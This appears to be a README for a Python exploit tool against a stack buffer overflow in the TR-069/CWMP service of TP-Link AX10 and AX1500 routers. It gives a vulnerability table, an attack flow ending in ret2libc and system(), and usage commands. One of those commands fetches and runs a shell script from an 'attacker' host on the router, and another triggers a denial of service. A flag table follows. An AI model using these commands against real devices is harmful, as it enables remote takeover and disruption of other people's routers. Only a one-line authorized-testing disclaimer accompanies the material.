
TP-Link AX10/AX1500 CWMP Buffer Overflow RCE
Stack-based buffer overflow in CWMP (TR-069) leading to remote code execution.
| Field | Value |
|---|---|
| Product | TP-Link AX10, AX1500 |
| Affected | AX10 < 1.2.1, AX1500 < 1.3.11 |
| CVSS | 8.6 (High) |
| Type | Stack Buffer Overflow |
| Vector | CWMP/TR-069 (port 7547) |
| Impact | Remote Code Execution |
flowchart LR
A[Attacker] --> B["Malicious ACS"]
B --> C["SetParameterValues"]
C --> D["Stack Overflow"]
D --> E["Overwrite PC"]
E --> F["ret2libc"]
F --> G["system()"]
G --> H["RCE"]
The vulnerability is in the cwmp process handling of SetParameterValues SOAP requests. Input is used to calculate buffer size without bounds checking.
Exploitation:
python exploit.py <target_ip> --check-only
python exploit.py 192.168.0.1 --dos
python exploit.py 192.168.0.1 -c "wget http://attacker/shell.sh -O /tmp/s; sh /tmp/s"
None (uses standard library)
For authorized security testing only.
| Flag | Description | Default |
|---|
-p, --port | CWMP port | 7547 |
-c, --command | Command for RCE | none |
-t, --timeout | Socket timeout | 10 |
--dos | DoS mode only | off |
--check-only | Check if vulnerable | off |